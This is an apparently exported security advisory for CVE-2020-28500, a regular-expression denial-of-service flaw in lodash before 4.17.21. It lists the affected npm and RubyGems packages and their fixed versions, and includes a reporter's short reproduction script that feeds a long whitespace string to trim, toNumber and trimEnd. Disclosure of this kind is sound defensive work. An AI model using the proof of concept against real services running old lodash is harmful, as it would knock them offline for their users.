Advisory

GHSA-29mw-wpgm-hmr9

Also known as: CVE-2020-28500

Summary

Regular Expression Denial of Service (ReDoS) in lodash

Details

All versions of package lodash prior to 4.17.21 are vulnerable to Regular Expression Denial of Service (ReDoS) via the toNumber, trim and trimEnd functions.

Steps to reproduce (provided by reporter Liyuan Chen):

var lo = require('lodash');

function build_blank(n) {
    var ret = "1"
    for (var i = 0; i < n; i++) {
        ret += " "
    }
    return ret + "1";
}
var s = build_blank(50000) var time0 = Date.now();
lo.trim(s) 
var time_cost0 = Date.now() - time0;
console.log("time_cost0: " + time_cost0);
var time1 = Date.now();
lo.toNumber(s) var time_cost1 = Date.now() - time1;
console.log("time_cost1: " + time_cost1);
var time2 = Date.now();
lo.trimEnd(s);
var time_cost2 = Date.now() - time2;
console.log("time_cost2: " + time_cost2);

Severity

Medium Basis: The source's own band: MODERATE

Dates

Published
2022-01-06 20:30 UTC
Modified
2025-09-29 21:12 UTC

Affected packages and fixes

lodash

npm · All systems

Affected

  • introduced 4.0.0, fixed 4.17.21 (semver)

Fixed versions

4.17.21

Fix

lodash-es

npm · All systems

Affected

  • introduced 4.0.0, fixed 4.17.21 (semver)

Fixed versions

4.17.21

Fix

lodash.trimend

npm · All systems

Affected

  • introduced 4.0.0, last affected 4.5.1 (semver)

Fixed versions

None listed

Fix

No fixed version is listed.

lodash.trim

npm · All systems

Affected

  • introduced 4.0.0, last affected 4.5.1 (semver)

Fixed versions

None listed

Fix

No fixed version is listed.

lodash-rails

RubyGems · All systems

Affected

  • introduced 4.0.0, fixed 4.17.21 (ecosystem)

Fixed versions

4.17.21

Fix

The export has no generic command for this ecosystem.

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences